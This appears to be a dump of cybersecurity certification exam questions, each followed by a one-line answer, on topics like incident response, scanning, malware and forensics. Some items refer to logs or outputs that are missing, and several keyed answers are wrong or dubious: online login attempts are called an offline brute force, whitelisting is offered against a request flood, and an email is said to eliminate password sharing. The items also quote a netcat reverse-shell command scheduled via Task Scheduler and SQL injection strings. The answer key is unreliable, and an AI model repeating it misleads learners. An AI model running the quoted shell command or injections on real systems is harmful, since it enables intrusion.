Install the agent for a week on a test system and monitor the activities.

A threat intelligence analyst who works for an oil and gas company has received the following email from a superior: "We will be connecting our IT network with our ICS. Our IT security has historically been top of the line, and this convergence will make the ICS easier to manage and troubleshoot. Can you please perform a risk/vulnerability assessment on this decision?" Which of the following is MOST accurate regarding ICS in this scenario?

Integrating increases the attack surface

A security analyst has discovered that an outbound SFTP process is occurring at the same time of day for the past several days. At the time this was discovered, large amounts of business critical data were delivered. The authentication for this process occurred using a service account with proper credentials. The security analyst investigated the destination IP for this transfer and discovered that this new process is not documented in the change management log. Which of the following would be the BEST course of action for the analyst to take?

Investigate a potential incident.

A zero-day crypto-worm is quickly spreading through the internal network on port 25 and exploiting a software vulnerability found within the email servers. Which of the following countermeasures needs to be implemented as soon as possible to mitigate the worm from continuing to spread?

Isolate impacted servers

A corporation employs a number of small-form-factor workstations and mobile devices, and an incident response team is therefore required to build a forensics kit with tools to support chip-off analysis. Which of the following tools would BEST meet this requirement?

JTAG adapters

Management is concerned with administrator access from outside the network to a key server in the company. Specifically, firewall rules allow access to the server from anywhere in the company. Which of the following would be an effective solution?

Jump box

A security analyst is concerned that unauthorized users can access confidential data stored in the production server environment. All workstations on a particular network segment have full access to any server in production. Which of the following should be deployed in the production environment to prevent unauthorized access? (Choose two.)

Jump box Firewall

A security analyst has determined the security team should take action based on the following log: Which of the following should be used to improve the security posture of the system?

Limit the number of unsuccessful login attempts.

A security analyst at a small regional bank has received an alert that nation states are attempting to infiltrate financial institutions via phishing campaigns. Which of the following techniques should the analyst recommend as a proactive measure to defend against this type of threat?

Location-based NAC

A security administrator determines several months after the first instance that a local privileged user has been routinely logging into a server interactively as "root" and browsing the Internet. The administrator determines this by performing an annual review of the security logs on that server. For which of the following security architecture areas should the administrator recommend review and modification? (Select TWO).

Log aggregation and analysis Acceptable use policies

A worm was detected on multiple PCs within the remote office. The security analyst recommended that the remote office be blocked from the corporate network during the incident response. Which of the following processes BEST describes this recommendation?

Logical isolation of the remote office

A technician at a company's retail store notifies an analyst that disk space is being consumed at a rapid rate on several registers. The uplink back to the corporate office is also saturated frequently. The retail location has no Internet access. An analyst then observes several occasional IPS alerts indicating a server at corporate has been communicating with an address on a watchlist. Netflow data shows large quantities of data transferred at those times. Which of the following is MOST likely causing the issue?

Malware on a register is scraping credit card data and staging it on a server at the corporate office before uploading it to an attacker-controlled command and control server.

A network administrator is attempting to troubleshoot an issue regarding certificates on a secure website. During the troubleshooting process, the network administrator notices that the web gateway proxy on the local network has signed all of the certificates on the local machine. Which of the following describes the type of attack the proxy has been legitimately programmed to perform?

Man-in-the-middle

A technician recently fixed a computer with several viruses and spyware programs on it and notices the Internet settings were set to redirect all traffic through an unknown proxy. This type of attack is known as which of the following?

Man-in-the-middle

During the forensic a phase of a security investigation, it was discovered that an attacker was able to find private keys on a poorly secured team shared drive. The attacker used those keys to intercept and decrypt sensitive traffic on a web server. Which of the following describes this type of exploit and the potential remediation?

Man-in-the-middle; well-controlled storage of private keys

A logistics company's vulnerability scan identifies the following vulnerabilities on Internet-facing devices in the DMZ: SQL injection on an infrequently used web server that provides files to vendorsSSL/TLS not used for a website that contains promotional information The scan also shows the following vulnerabilities on internal resources: Microsoft Office Remote Code Execution on test server for a human resources system TLS downgrade vulnerability on a server in a development network In order of risk, which of the following should be patched FIRST?

Microsoft Office Remote Code Execution

A cybersecurity analyst is hired to review the security measures implemented within the domain controllers of a company. Upon review, the cybersecurity analyst notices a brute force attack can be launched against domain controllers that run on a Windows platform. The first remediation step implemented by the cybersecurity analyst is to make the account passwords more complex. Which of the following is the NEXT remediation step the cybersecurity analyst needs to implement?

Move administrator accounts to a new security group.

A security analyst is making recommendations for securing access to the new forensic workstation and workspace. Which of the following security measures should the analyst recommend to protect access to forensic data?

Multifactor authentication Polarized lens protection Physical workspace isolation

An incident response report indicates a virus was introduced through a remote host that was connected to corporate resources. A cybersecurity analyst has been asked for a recommendation to solve this issue. Which of the following should be applied?

NAC

Company A permits visiting business partners from Company B to utilize Ethernet ports available in Company A's conference rooms. This access is provided to allow partners the ability to establish VPNs back to Company B's network. The security architect for Company A wants to ensure partners from Company B are able to gain direct Internet access from available ports only, while Company A employees can gain access to the Company A internal network from those sameports. Which of the following can be employed to allow this?

NAC

An organization has recently experienced a data breach. A forensic analysis confirmed the attacker found a legacy web server that had not been used in over a year and was not regularly patched. After a discussion with the security team, management decided to initiate a program of network reconnaissance and penetration testing. They want to start the process by scanning the network for active hosts and open ports. Which of the following tools is BEST suited for this job?

Nmap

Considering confidentiality and integrity, which of the following make servers more secure than desktops? (Select THREE).

OS Trained operators Physical access restriction

The director of software development is concerned with recent web application security incidents, including the successful breach of a back-end database server. The director would like to work with the security team to implement a standardized way to design, build, and test web applications and the services that support them. Which of the following meets the criteria?

OWASP

An analyst is reviewing the following log from the company web server: 15.34.24 GET /directory/listening.php?user=admin&pass=admin1 15.34.27 GET /directory/listening.php?user=admin&pass=admin2 15.34.29 GET /directory/listening.php?user=admin&pass=1admin 15.34.35 GET /directory/listening.php?user=admin&pass=2admin Which of the following is this an example of?

Offline brute force attack

Nmap scan results on a set of IP addresses returned one or more lines beginning with "cpe:/o:" followed by a company name, product name, and version. Which of the following would this string help an administrator to identify?

Operating system

A medical organization recently started accepting payments over the phone. The manager is concerned about the impact of the storage of different types of data. Which of the following types of data incurs the highest regulatory constraints?

PCI

An employee at an insurance company is processing claims that include patient addresses, clinic visits, diagnosis information, and prescription. While forwarding documentation to the supervisor, the employee accidentally sends the data to a personal email address outside of the company due to a typo. Which of the following types of data has been compromised?

PHI

During a routine review of firewall logs, an analyst identified that an IP address from the organization's server subnet had been connecting during nighttime hours to a foreign IP address, and had been sending between 150 and 500 megabytes of data each time. This had been going on for approximately one week, and the affected server was taken offline for forensic review. Which of the following is MOST likely to drive up the incident's impact assessment?

PII of company employees and customers was exfiltrated.

When reviewing network traffic, a security analyst detects suspicious activity: Based on the log above, which of the following vulnerability attacks is occurring?

POODLE

A reverse engineer was analyzing malware found on a retailer's network and found code extracting track data in memory. Which of the following threats did the engineer MOST likely uncover?

POS malware

An analyst has noticed unusual activities in the SIEM to a .cn domain name. Which of the following should the analyst use to identify the content of the traffic?

Packet capture

Following a data compromise, a cybersecurity analyst noticed the following executed query: SELECT * from Users WHERE name = rick OR 1=1 Which of the following attacks occurred, and which of the following technical security controls would BEST reduce the risk of future impact from this attack? (Select TWO).

Parameter validation SQL injection

After an internal audit, it was determined that administrative logins need to use multifactor authentication or a 15-character key with complexity enabled. Which of the following policies should be updates to reflect this change? (Choose two.)

Password policy Account management policy

During a routine network scan, a security administrator discovered an unidentified service running on a new embedded and unmanaged HVAC controller, which is used to monitor the company's datacenter: The enterprise monitoring service requires SNMP and SNMPTRAP connectivity to operate. Which of the following should the security administrator implement to harden the system?

Patch and restart the unknown service

A security analyst performed a review of an organization's software development life cycle. The analyst reports that the life cycle does not contain in a phase in which team members evaluate and provide critical feedback on another developer's code. Which of the following assessment techniques is BEST for describing the analyst's report

Peer review

The development team currently consists of three developers who each specialize in a specific programming language: Developer 1 C++/C# Developer 2 PythonDeveloper 3 Assembly Which of the following SDLC best practices would be challenging to implement with the current available staff?

Peer review

An alert has been distributed throughout the information security community regarding a critical Apache vulnerability. Which of the following courses of action would ONLY identify the known vulnerability?

Perform a scan for the specific vulnerability on all web servers.

A company has established an ongoing vulnerability management program and procured the latest technology to support it. However, the program is failing because several vulnerabilities have not been detected. Which of the following will reduce the number of false negatives?

Perform credentialed scans.

A security analyst is reviewing a report from the networking department that describes an increase in network utilization, which is causing network performance issues on some systems. A top talkers report over a five-minute sample is included. Given the above output of the sample, which of the following should the security analyst accomplish FIRST to help track down the performance issues?

Perform reverse lookups on each of the IP addresses listed to help determine if the traffic is necessary

Law enforcement has contacted a corporation's legal counsel because correlated data from a breach shows the organization as the common denominator from all indicators of compromise. An employee overhears the conversation between legal counsel and law enforcement, and then posts a comment about it on social media. The media then starts contacting other employees about the breach. Which of the following steps should be taken to prevent further disclosure of information about the breach?

Perform security awareness training about incident communication

A cybersecurity analyst has received the laptop of a user who recently left the company. The analyst types `history' into the prompt, and sees this line of code in the latest bash history: > for i in seq 255; ping -c 1 192.168.0.$i; done This concerns the analyst because this subnet should not be known to users within the company. Which of the following describes what this code has done on the network?

Performed a ping sweep of the Class C network

Which of the following is the MOST secure method to perform dynamic analysis of malware that can sense when it is in a virtual environment?

Place the malware on an isolated virtual server disconnected from the network.

A company discovers an unauthorized device accessing network resources through one of many network drops in a common area used by visitors. The company decides that it wants to quickly prevent unauthorized devices from accessing the network but policy prevents the company from making changes on every connecting client. Which of the following should the company implement?

Port security

During an investigation, a computer is being seized. Which of the following is the FIRST step the analyst should take?

Power off the computer and remove it from the network.

A security analyst is concerned that employees may attempt to exfiltrate data prior to tendering their resignations. Unfortunately, the company cannot afford to purchase a data loss prevention (DLP) system. Which of the following recommendations should the security analyst make to provide defense-in-depth against data loss? (Select THREE)

Prevent users from accessing personal email and file-sharing sites via web proxy Prevent flash drives from connecting to USB ports using Group Policy Prevent Internet access on laptops unless connected to the network in the office or via VPN

While conducting research on malicious domains, a threat intelligence analyst received a blue screen of death. The analyst rebooted and received a message stating that the computer had been locked and could only be opened by following the instructions on the screen. Which of the following combinations describes the MOST likely threat and the PRIMARY mitigation for the threat?

Ransomware and data backups

The new Chief Technology Officer (CTO) is seeking recommendations for network monitoring services for the local intranet. The CTO would like the capability to monitor all traffic to and from the gateway, as well as the capability to block certain content. Which of the following recommendations would meet the needs of the organization?

Recommend installation of a firewall on the internal interface and a NIDS on the external interface of the gateway router.

Which of the following BEST describes the offensive participants in a tabletop exercise?

Red team

In order to meet regulatory compliance objectives for the storage of PHI, vulnerability scans must be conducted on a continuous basis. The last completed scan of the network returned 5,682 possible vulnerabilities. The Chief Information Officer (CIO) would like to establish a remediation plan to resolve all known issues. Which of the following is the BEST way to proceed?

Reduce the scan to items identified as critical in the asset inventory, and resolve these issues first.

A software patch has been released to remove vulnerabilities from company's software. A security analyst has been tasked with testing the software to ensure the vulnerabilities have been remediated and the application is still functioning properly. Which of the following tests should be performed NEXT?

Regression testing

A security analyst is performing ongoing scanning and continuous monitoring of the corporate datacenter. Over time, these scans are repeatedly showing susceptibility to the same vulnerabilities and an increase in new vulnerabilities on a specific group of servers that are clustered to run the same application. Which of the following vulnerability management processes should be implemented?

Regular patch application

Organizational policies require vulnerability remediation on severity 7 or greater within one week. Anything with a severity less than 7 must be remediated within 30 days. The organization also requires security teams to investigate the details of a vulnerability before performing any remediation. If the investigation determines the finding is a false positive, no remediation is performed and the vulnerability scanner configuration is updates to omit the false positive from future scans: The organization has three Apache web servers: The results of a recent vulnerability scan are shown below: The team performs some investigation and finds a statement from Apache: Which of the following actions should the security team perform?

Remediate 192.168.1.22 within 30 days

An analyst reviews a recent report of vulnerabilities on a company's financial application server. Which of the following should the analyst rate as being of the HIGHEST importance to the company's environment?

Remote code execution

Which of the following countermeasures should the security administrator apply to MOST effectively mitigate Bootkit-level infections of the organization's workstation devices?

Remove local administrator privileges

A security analyst received an alert from the antivirus software identifying a complex instance of malware on a company's network. The company does not have the resources to fully analyze the malware and determine its effect on the system. Which of the following is the BEST action to take in the incident recovery and post-incident response process?

Remove the malware and inappropriate materials; eradicate the incident.

The board of directors made the decision to adopt a cloud-first strategy. The current security infrastructure was designed for on-premise implementation. A critical application that is subject to the Federal Information Security Management Act (FISMA) of 2002 compliance has been identified as a candidate for a hybrid cloud deployment model. Which of the following should be conducted FIRST?

Review current security controls.

Creating a lessons learned report following an incident will help an analyst to communicate which of the following information? (Select TWO)

Root cause analysis of the incident and the impact it had on the organization Enhancements to the policies and practices that will improve business responses

A company that is hiring a penetration tester wants to exclude social engineering from the list of authorized activities. Which of the following documents should include these details?

Rules of engagement

Alerts have been received from the SIEM, indicating infections on multiple computers. Based on threat characteristics, these files were quarantined by the hostbased antivirus program. At the same time, additional alerts in the SIEM show multiple blocked URLs from the address of the infected computers; the URLs were classified as uncategorized. The domain location of the IP address of the URLs that were blocked is checked, and it is registered to an ISP in Russia. Which of the following steps should be taken NEXT?

Run a full antivirus scan on all computers and use Splunk to search for any suspicious activity that happened just before the alerts were received in the SIEM.

Scan results identify critical Apache vulnerabilities on a company's web servers. A security analyst believes many of these results are false positives because the web environment mostly consists of Windows servers.Which of the following is the BEST method of verifying the scan results?

Run a service discovery scan on the identified servers

An organization has a practice of running some administrative services on non-standard ports as a way of frustrating any attempts at reconnaissance. The output of the latest scan on host 192.168.1.13 is shown below:Which of the following statements is true?

Running SSH on port 23 provides little additional security from running it on the standard port.

In order to leverage the power of data correlation within Nessus, a cybersecurity analyst needs to write an SQL statement that will provide how long a vulnerability has been present on the network. Given the following output table: ScanDate IP Port PluginID 2015-06-01 192.168.1.224 System (3306/tcp) 1000 2015-09-01 192.168.1.224 System (3306/tcp) 1000 2016-01-01 192.168.1.224 System (3306/tcp) 1000 Which of the following SQL statements would provide the resulted output needed for this correlation?

SELECT ScanDate, IP, Port, PlugIn FROM MyResults WHERE PluginID=`1000

A centralized tool for organizing security events and managing their response and resolution is known as:

SIEM

Which of the following is MOST effective for correlation analysis by log for threat management?

SIEM

A security analyst is reviewing IDS logs and notices the following entry: (where [email protected] and password=' or 20==20')

SQL injection

Given the following code: Which of the following types of attacks is occurring in the example above?

SQL injection

Which of the following are essential components within the rules of engagement for a penetration test? (Select TWO).

Schedule Authorization

A penetration tester is preparing for an audit of critical systems that may impact the security of the environment. This includes the external perimeter and the internal perimeter of the environment. During which of the following processes is this type of information normally gathered?

Scoping

Which of the following remediation strategies are MOST effective in reducing the risk of a network-based compromise of embedded ICS? (Select two.)

Segmentation Disabling unused services

During which of the following NIST risk management framework steps would an information system security engineer identify inherited security controls and tailor those controls to the system?

Select

A company invested ten percent of its entire annual budget in security technologies. The Chief Information Officer (CIO) is convinced that, without this investment, the company will risk being the next victim of the same cyber attack its competitor experienced three months ago. However, despite this investment, users are sharing their usernames and passwords with their coworkers to get their jobs done. Which of the following will eliminate the risk introduced by this practice?

Send an email asking users not to share their credentials

After a recent security breach, it was discovered that a developer had promoted code that had been written to the production environment as a hotfix to resolve a user navigation issue that was causing issues for several customers. The code had inadvertently granted administrative privileges to all users, allowing inappropriate access to sensitive data and reports. Which of the following could have prevented this code from being released into the production environment?

Separation of duties

A system administrator who was using an account with elevated privileges deleted a large amount of log files generated by a virtual hypervisor in order to free up disk space. These log files are needed by the security team to analyze the health of the virtual machines. Which of the following compensating controls would help prevent this from reoccurring? (Select two.)

Separation of duties Personnel training

Which of the following is a feature of virtualization that can potentially create a single point of failure?

Server consolidation

Three similar production servers underwent a vulnerability scan. The scan results revealed that the three servers had two different vulnerabilities rated "Critical". The administrator observed the following about the three servers: The servers are not accessible by the Internet AV programs indicate the servers have had malware as recently as two weeks ago The SIEM shows unusual traffic in the last 20 days Integrity validation of system files indicates unauthorized modifications Which of the following assessments is valid and what is the most appropriate NEXT step? (Select TWO).

Servers may have been tampered with Activate the incident response plan

A company has received the results of an external vulnerability scan from its approved scanning vendor. The company is required to remediate these vulnerabilities for clients within 72 hours of acknowledgement of the scan results. Which of the following contract breaches would result if this remediation is not provided for clients within the time frame?

Service level agreement

A cybersecurity analyst is conducting a security test to ensure that information regarding the web server is protected from disclosure. The cybersecurity analyst requested an HTML file from the web server, and the response came back as follows: HTTP/1.1 404 Object Not Found Server: Microsoft-IIS/5.0 Date: Tues, 19 Apr 2016 06:32:24 GMT Content-Type: text/html Content-Length: 111 <html><head><title>Site Not Found</title></head> <body>No web site is configured at this address. </body></html> Which of the following actions should be taken to remediate this security issue?

Set "Removeserverheader" to 1 in the URLScan.ini configuration file.

A recent audit included a vulnerability scan that found critical patches released 60 days prior were not applied to servers in the environment. The infrastructure team was able to isolate the issue and determined it was due to a service being disabled on the server running the automated patch management application.Which of the following would be the MOST efficient way to avoid similar audit findings in the future?

Set services on the patch management server to automatically run on start-up.

Joe, an analyst, has received notice that a vendor who is coming in for a presentation will require access to a server outside the network. Currently, users are only able to access remote sites through a VPN connection. Which of the following should Joe use to BEST accommodate the vendor?

Set up a VPN account for the vendor, allowing access to the remote site.

A technician receives an alert indicating an endpoint is beaconing to a suspect dynamic DNS domain. Which of the following countermeasures should be used to BEST protect the network in response to this alert? (Choose two.)

Set up a sinkhole for that dynamic DNS domain to prevent communication. Isolate the infected endpoint to prevent the potential spread of malicious activity

External users are reporting that a web application is slow and frequently times out when attempting to submit information. Which of the following software development best practices would have helped prevent this issue?

Stress testing

A technician is running an intensive vulnerability scan to detect which ports are open to exploit. During the scan, several network services are disabled and production is affected. Which of the following sources would be used to evaluate which network service was interrupted?

Syslog

A security administrator recently deployed a virtual honeynet. The honeynet is not protected by the company's firewall, while all production networks are protected by a stateful firewall. Which of the following would BEST allow an external penetration tester to determine which one is the honeynet's network?

TCP ACK scan

An administrator has been investigating the way in which an actor had been exfiltrating confidential data from a web server to a foreign host. After a thorough forensic review, the administrator determined the server's BIOS had been modified by rootkit installation. After removing the rootkit and flashing the BIOS to a known good state, which of the following would BEST protect against future adversary access to the BIOS, in case another rootkit is installed?

TPM data sealing

Datacenter access is controlled with proximity badges that record all entries and exits from the datacenter. The access records are used to identify which staff members accessed the data center in the event of equipment theft. Which of the following MUST be prevented in order for this policy to be effective?

Tailgating

A security analyst is assisting with a computer crime investigation and has been asked to secure a PC and deliver it to the forensic lab. Which of the following items would be MOST helpful to secure the PC? (Choose three.)

Tamper-proof seals Faraday cage Chain of custody form

A company installed a wireless network more than a year ago, standardizing on the same model APs in a single subnet. Recently, several users have reported timeouts and connection issues with Internet browsing. The security administrator has gathered some information about the network to try to recreate the issues with the assistance of a user. The administrator is able to ping every device on the network and confirms that the network is very slow.Output: Given the above results, which of the following should the administrator investigate FIRST?

The AP-Workshop device

A security analyst received several service tickets reporting that a company storefront website is not accessible by internal domain users. However, external users are accessing the website without issue. Which of the following is the MOST likely reason for this behavior?

The DNS server is corrupted.

A company provides wireless connectivity to the internal network from all physical locations for company-owned devices. Users were able to connect the day before, but now all users have reported that when they connect to an access point in the conference room, they cannot access company resources. Which of the following BEST describes the cause of the problem?

The access point is a rogue device. Follow incident response procedures.

A company has monthly scheduled windows for patching servers and applying configuration changes. Out-of-window changes can be done, but they are discouraged unless absolutely necessary. The systems administrator is reviewing the weekly vulnerability scan report that was just released. Which of the following vulnerabilities should the administrator fix without waiting for the next scheduled change window?

The administrator should fix smtp (25/tcp). The remote SMTP server is insufficiently protected against relaying. This means spammers might be able to use the company's mail server to send their emails to the world.

While a threat intelligence analyst was researching an indicator of compromise on a search engine, the web proxy generated an alert regarding the same indicator. The threat intelligence analyst states that related sites were not visited but were searched for in a search engine. Which of the following MOST likely happened in this situation?

The analyst has prefetch enabled on the browser in use.

Given the following output from a Linux machine: file2cable i eth0 -f file.pcap Which of the following BEST describes what a security analyst is trying to accomplish?

The analyst is attempting to use a protocol analyzer to monitor network traffic.

A security analyst is reviewing logs and discovers that a company-owned computer issued to an employee is generating many alerts and warnings. The analyst continues to review the log events and discovers that a non-company-owned device from a different, unknown IP address is generating the same events. The analyst informs the manager of these findings, and the manager explains that these activities are already known and part of an ongoing events. Given this scenario, which of the following roles are the analyst, the employee, and the manager filling?

The analyst is blue team. The employee is red team. The manager is white team

A security analyst has created an image of a drive from an incident. Which of the following describes what the analyst should do NEXT?

The analyst should create a hash of the image and compare it to the original drive's hash

A list of vulnerabilities has been reported in a company's most recent scan of a server. The security analyst must review the vulnerabilities and decide which ones should be remediated in the next change window and which ones can wait or may not need patching. Pending further investigation. Which of the following vulnerabilities should the analyst remediate FIRST?

The analyst should remediate dns (53/tcp) first. The remote BIND 9 DNS server is susceptible to a buffer overflow, which may allow an attacker to gain a shell on this host or disable this server.

An insurance company employs quick-response team drivers that carry corporate-issued mobile devices with the insurance company's app installed on them. Devices are configuration-hardened by an MDM and kept up to date. The employees use the app to collect insurance claim information and process payments. Recently, a number of customers have filed complaints of credit card fraud against the insurance company, which occurred shortly after their payments were processed via the mobile app. The cyber-incident response team has been asked to investigate. Which of the following is MOST likely the cause?

The app does not employ TLS.

Which of the following principles describes how a security analyst should communicate during an incident?

The communication should be limited to trusted parties only.

A system administrator has reviewed the following output: Which of the following can a system administrator infer from the above output?

The company email server is running a non-standard port.

A company has been a victim of multiple volumetric DoS attacks. Packet analysis of the offending traffic shows the following: Which of the following mitigation techniques is MOST effective against the above attack?

The company should contact the upstream ISP and ask that RFC1918 traffic be dropped.

A cybersecurity analyst is retained by a firm for an open investigation. Upon arrival, the cybersecurity analyst reviews several security logs. Given the following snippet of code: sc config schedule start auto net start schedule at 13:30 ""C:\nc.exe 192.168.0.101 777 -e cmd.exe "" Which of the following combinations BEST describes the situation and recommendations to be made for this situation?

The cybersecurity analyst has discovered host 192.168.0.101 using Windows Task Scheduler at 13:30 to runnc.exe; recommend proceeding with the next step of removing the host from the network

A cybersecurity analyst has identified a new mission-essential function that utilizes a public cloud-based system. The analyst needs to classify the information processed by the system with respect to CIA. Which of the following should provide the CIA classification for the information?

The data owner

A security analyst's company uses RADIUS to support a remote sales staff of more than 700 people. The Chief Information Security Officer (CISO) asked to have IPSec using ESP and 3DES enabled to ensure the confidentiality of the communication as per RFC 3162. After the implementation was complete, many sales users reported latency issues and other performance issues when attempting to connect remotely. Which of the following is occurring?

The device running RADIUS lacks sufficient RAM and processing power to handle ESP implementation.

A security analyst is adding input to the incident response communication plan. A company officer has suggested that if a data breach occurs, only affected parties should be notified to keep an incident from becoming a media headline. Which of the following should the analyst recommend to the company officer?

The first responder should contact law enforcement upon confirmation of a security incident in order for a forensics team to preserve chain of custody

A security incident has been created after noticing unusual behavior from a Windows domain controller. The server administrator has discovered that a user logged in to the server with elevated permissions, but the user's account does not follow the standard corporate naming scheme. There are also several other accounts in the administrators group that do not follow this naming scheme. Which of the following is the possible cause for this behavior and the BEST remediation step?

The naming scheme allows for too many variations, and the account naming convention should be updates to enforce organizational policies.

Several users have reported that when attempting to save documents in team folders, the following message is received: The File Cannot Be Copied or Moved Service Unavailable. Upon further investigation, it is found that the syslog server is not obtaining log events from the file server to which the users are attempting to copy files. Which of the following is the MOST likely scenario causing these issues?

The network is saturated, causing network congestion

After scanning the main company's website with the OWASP ZAP tool, a cybersecurity analyst is reviewing the following warning: The autocomplete output is not disabled in HTML Form/input containing password type input. Passwords may be stored in browsers and retrieved. The analyst reviews a snippet of the offending code: <form action="authenticate.php"> Username: <br> <input type="text" name="username" value="" autofocus><br> Password: <br> <input type="Password" name="passwword" value="" maxlength="32"><br> <input type="submit" value="submit"> </form> Which of the following is the BEST course of action based on the above warning and code snippet?

The organization should update the browser GPO to resolve the issue

Which of the following could be directly impacted by an unpatched vulnerability in vSphere ESXi?

The organization's virtual infrastructure

A system administrator recently deployed and verified the installation of a critical patch issued by the company's primary OS vendor. This patch was supposed to remedy a vulnerability that would allow an adversary to remotely execute code from over the network. However, the administrator just ran a vulnerability assessment of networked systems, and each of them still reported having the same vulnerability. Which of the following is the MOST likely explanation for this?

The patch did not remediate the vulnerability.

Which of the following policies BEST explains the purpose of a data ownership policy?

The policy should outline the organization's administration of accounts for authorized users to access the appropriate data

A cybersecurity analyst is reviewing the following outputs: Which of the following can the analyst infer from the above output?

The remote host is running a service on port 8080

A security analyst is reviewing output from a CVE-based vulnerability scanner. Before conducting the scan, the analyst was careful to select only Windows-based servers in a specific datacenter. The scan revealed that the datacenter includes 27 machines running Windows 2003 Server Edition (Win2003SE). In 2015, there were 36 new vulnerabilities discovered in the Win2003SE environment. Which of the following statements are MOST likely applicable? (Choose two.)

The resulting report on the vulnerability scan should include some reference that the scan of the datacenter included 27 Win2003SE machines that should be scheduled for replacement and deactivation.

The Chief Information Security Officer (CISO) asked for a topology discovery to be conducted and verified against the asset inventory. The discovery is failing and not providing reliable or complete data. The syslog shows the following information: Which of the following describes the reason why the discovery is failing?

The scanning tool lacks valid LDAP credentials

An application development company released a new version of its software to the public. A few days after the release, the company is notified by end users that the application is notably slower, and older security bugs have reappeared in the new release. The development team has decided to include the security analyst during their next development cycle to help address the reported issues. Which of the following should the security analyst focus on to remedy the existing reported problems?

The security analyst should perform security regression testing during each application development cycle.

A security analyst has determined that the user interface on an embedded device is vulnerable to common SQL injections. The device is unable to be replaced, and the software cannot be upgraded. Which of the following should the security analyst recommend to add additional security to this device?

The security analyst should recommend this device be placed behind a WAF.

The business has been informed of a suspected breach of customer data. The internal audit team, in conjunction with the legal department, has begun working with the cybersecurity team to validate the report. To which of the following response processes should the business adhere during the investigation?

The security analysts should limit communication to trusted parties conducting the investigation

A security analyst begins to notice the CPU utilization from a sinkhole has begun to spike. Which of the following describes what may be occurring?

The sinkhole has begun rerouting unauthorized traffic.

Which of the following has the GREATEST impact to the data retention policies of an organization?

The technical constraints of the technology used to store the data

A new policy requires the security team to perform web application and OS vulnerability scans. All of the company's web applications use federated authentication and are accessible via a central portal. Which of the following should be implemented to ensure a more thorough scan of the company's web application, while at the same time reducing false positives?

The vulnerability scanner should be configured to perform authenticated scans.

A malware infection spread to numerous workstations within the marketing department. The workstations were quarantined and replaced with machines. Which of the following represents a FINAL step in the eradication of the malware?

The workstations should be patched and scanned.

A technician receives the following security alert from the firewall's automated system:After reviewing the alert, which of the following is the BEST analysis?

This alert indicates an endpoint may be infected and is potentially contacting a suspect host.

Review the following results: Which of the following has occurred?

This is normal network traffic

A vulnerability analyst needs to identify all systems with unauthorized web servers on the 10.1.1.0/24 network. The analyst uses the following default Nmap scan: nmap sV p 1-65535 10.1.1.0/24 Which of the following would be the result of running the above command?

This scan checks all TCP ports and returns versions.

Following a recent security breach, a post-mortem was done to analyze the driving factors behind the breach. The cybersecurity analysis discussed potential impacts, mitigations, and remediations based on current events and emerging threat vectors tailored to specific stakeholders. Which of the following is this considered to be?

Threat intelligence

A cybersecurity analyst has been asked to follow a corporate process that will be used to manage vulnerabilities for an organization. The analyst notices the policy has not been updated in three years. Which of the following should the analyst check to ensure the policy is still accurate?

Threat intelligence reports

As part of an upcoming engagement for a client, an analyst is configuring a penetration testing application to ensure the scan complies with information defined in the SOW. Which of the following types of information should be considered based on information traditionally found in the SOW? (Select two.)

Timing of the scan Excluded hosts

A computer at a company was used to commit a crime. The system was seized and removed for further analysis. Which of the following is the purpose of labeling cables and connections when seizing the computer system?

To capture the system configuration as it was at the time it was removed

Which of the following describes why it is important to include scope within the rules of engagement of a penetration test?

To ensure all systems being scanned are owned by the company

Which of the following represent the reasoning behind careful selection of the timelines and time-of-day boundaries for an authorized penetration test? (Select TWO).

To schedule personnel resources required for test activities To mitigate unintended impacts to operations

Which of the following is a control that allows a mobile application to access and manipulate information which should only be available by another application on the same mobile device (e.g. a music application posting the name of the current song playing on the device on a social media site)?

Transitive trust

An executive tasked a security analyst to aggregate past logs, traffic, and alerts on a particular attack vector. The analyst was then tasked with analyzing the data and making predictions on future complications regarding this attack vector. Which of the following types of analysis is the security analyst MOST likely conducting?

Trend analysis

A security analyst is preparing for the company's upcoming audit. Upon review of the company's latest vulnerability scan, the security analyst finds the following open issues:Which of the following vulnerabilities should be prioritized for remediation FIRST?

Unsupported web server detection

While reviewing proxy logs, the security analyst noticed a suspicious traffic pattern. Several internal hosts were observed communicating with an external IP address over port 80 constantly. An incident was declared, and an investigation was launched. After interviewing the affected users, the analyst determined the activity started right after deploying a new graphic design suite. Based on this information, which of the following actions would be the appropriate NEXT step in the investigation?

Update all antivirus and anti-malware products, as well as all other host-based security software on the servers the affected users authenticate to.

An analyst is troubleshooting a PC that is experiencing high processor and memory consumption. Investigation reveals the following processes are running on the system: lsass.exe csrss.exewordpad.exe notepad.exe Which of the following tools should the analyst utilize to determine the rogue process?

Use Netstat.

During a recent audit, there were a lot of findings similar to and including the following:Which of the following would be the BEST way to remediate these findings and minimize similar findings in the future?

Use an automated patch management solution

A security analyst is creating baseline system images to remediate vulnerabilities found in different operating systems. Each image needs to be scanned before it is deployed. The security analyst must ensure the configurations match industry standard benchmarks and the process can be repeated frequently. Which of the following vulnerability options would BEST create the process requirements?

Utilizing an operating system SCAP plugin

Which of the following systems would be at the GREATEST risk of compromise if found to have an open vulnerability associated with perfect forward secrecy?

VPN concentrators

A cybersecurity analyst is completing an organization's vulnerability report and wants it to reflect assets accurately. Which of the following items should be in the report?

Virtual hosts

A threat intelligence analyst who works for a financial services firm received this report: "There has been an effective waterhole campaign residing at www.bankfinancecompsoftware.com. This domain is delivering ransomware. This ransomware variant has been called "LockMaster" by researchers due to its ability to overwrite the MBR, but this term is not a malware signature. Please execute a defensive operation regarding this attack vector." The analyst ran a query and has assessed that this traffic has been seen on the network. Which of the following actions should the analyst do NEXT? (Select TWO).

Visit the domain and begin a threat assessment Advise the security architects to enable full-disk encryption to protect the MBR

There have been several exploits to critical devices within the network. However, there is currently no process to perform vulnerability analysis. Which of the following should the security analyst implement during production hours to identify critical threats and vulnerabilities?

Vulnerability scanning frequency that does not interrupt workflow

A company has recently launched a new billing invoice website for a few key vendors. The cybersecurity analyst is receiving calls that the website is performing slowly and the pages sometimes time out. The analyst notices the website is receiving millions of requests, causing the service to become unavailable. Which of the following can be implemented to maintain the availability of the website?

Whitelisting

Which of the following is a vulnerability when using Windows as a host OS for virtual machines?

Windows is vulnerable to the "ping of death"

A newly discovered malware has a known behavior of connecting outbound to an external destination on port 27500 for the purposes of exfiltrating data. The following are four snippets taken from running netstat an on separate Windows workstations:Based on the above information, which of the following is MOST likely to be exposed to this malware?

Workstation A

A security analyst has noticed that a particular server has consumed over 1TB of bandwidth over the course of the month. It has port 3333 open; however, there have not been any alerts or notices regarding the server or its activities. Which of the following did the analyst discover?

Zero day

